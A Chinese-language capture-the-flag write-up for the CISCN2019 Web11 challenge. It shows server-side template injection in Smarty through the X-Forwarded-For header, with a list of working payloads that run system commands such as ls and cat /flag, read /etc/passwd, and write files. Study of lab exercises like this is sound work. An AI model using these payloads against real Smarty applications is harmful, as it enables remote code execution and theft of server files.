知识点:
SSTI
smarty
X-Forwarded-For
Smarty是一个PHP的模板引擎,提供让程序逻辑与页面显示 (HTML/CSS)代码分离的功能。对于该框架的SSTI漏洞很多 文章往往只是一笔带过,讲解的重心往往在flask等框架上。
看到这个我就想到了抓包修改XFF试试加入X-Forwarded-For
发现Current IP更改为相应值
回想到曾经做过的题,用SSTI
发现存在注入
获取当前目录有那些文件:X-Forwarded-For:{system(‘ls’)}
读取某个文件比如:X-Forwarded-For:{system(‘cat /api’)}。但是我试了以下的所有文件都没找到flag
换个思路,想想smarty,参考一些wp
一些smarty积累的payload:
{system('cat /flag')}
{self::getStreamVariable("file:///etc/passwd")}
{Smarty_Internal_Write_File::writeFile($script_NAME,"",self::clearConfig())}
常规利用
{$smarty.version} #获取smarty的版本号
{php}phpinfo();{/php} #执行相应的php代码
{self::getStreamVariable("file:///etc/passwd")}
{if phpinfo()}{/if}
{if system('ls')}{/if}
{system(‘cat /flag’)}
{$smarty.version} #获取smarty的版本号
{php}phpinfo();{/php}
Smarty已经废弃{php}标签,强烈建议不要使用。在Smarty 3.1,{php}仅在SmartyBC中可用。所以只能另找方法
对于php5的环境我们就可以使用,其它版本不行
{self::getStreamVariable(“file:///etc/passwd”)}
可见这个旧版本Smarty的SSTI利用方式并不适用于新版本的Smarty。而且在3.1.30的Smarty版本中官方已经把该静态方法删除。
{if phpinfo()}{/if}
所以直接流程
{if system('ls')}{/if}
{if system(‘ls /’)}{/if}
{if system(‘cat /flag’)}{/if}
得到flag


![[CISCN2019 华东南赛区]Web11 1(SSTI,smarty,X-Forwarded-For) [CISCN2019 华东南赛区]Web11 1(SSTI,smarty,X-Forwarded-For)](http://www.mshxw.com/aiimages/31/329789.png)
